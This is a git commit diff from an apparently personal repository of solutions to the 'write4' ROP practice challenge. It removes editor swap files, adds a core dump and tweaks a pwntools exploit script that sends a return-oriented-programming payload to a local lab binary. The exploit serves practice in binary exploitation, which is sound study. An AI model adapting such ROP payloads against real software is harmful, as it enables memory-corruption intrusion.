summaryrefslogtreecommitdiff
path: root/x86_64/write4
diff options
context:
space:
mode:
Diffstat (limited to 'x86_64/write4')
-rw-r--r--x86_64/write4/.exploit.py.swpbin12288 -> 0 bytes
-rw-r--r--x86_64/write4/.useful_gadgets.swpbin12288 -> 0 bytes
-rw-r--r--x86_64/write4/corebin0 -> 4427776 bytes
-rwxr-xr-xx86_64/write4/exploit.py2
4 files changed, 2 insertions, 0 deletions
diff --git a/x86_64/write4/.exploit.py.swp b/x86_64/write4/.exploit.py.swp
deleted file mode 100644
index 5602feb..0000000
--- a/x86_64/write4/.exploit.py.swp
+++ /dev/null
Binary files differ
diff --git a/x86_64/write4/.useful_gadgets.swp b/x86_64/write4/.useful_gadgets.swp
deleted file mode 100644
index f89dc3e..0000000
--- a/x86_64/write4/.useful_gadgets.swp
+++ /dev/null
Binary files differ
diff --git a/x86_64/write4/core b/x86_64/write4/core
new file mode 100644
index 0000000..857be86
--- /dev/null
+++ b/x86_64/write4/core
Binary files differ
diff --git a/x86_64/write4/exploit.py b/x86_64/write4/exploit.py
index f8b294e..026687f 100755
--- a/x86_64/write4/exploit.py
+++ b/x86_64/write4/exploit.py
@@ -1,5 +1,6 @@
#!/usr/bin/env python3
from pwn import *
+from time import sleep
prog = process('./write4')
payload = b''
@@ -15,5 +16,6 @@ payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section
payload += p64(0x0000000000400510) # print_file@plt
payload += b"\n"
prog.sendline(payload)
+sleep(0.5)
print(str(prog.recv(), 'UTF-8'))
prog.close()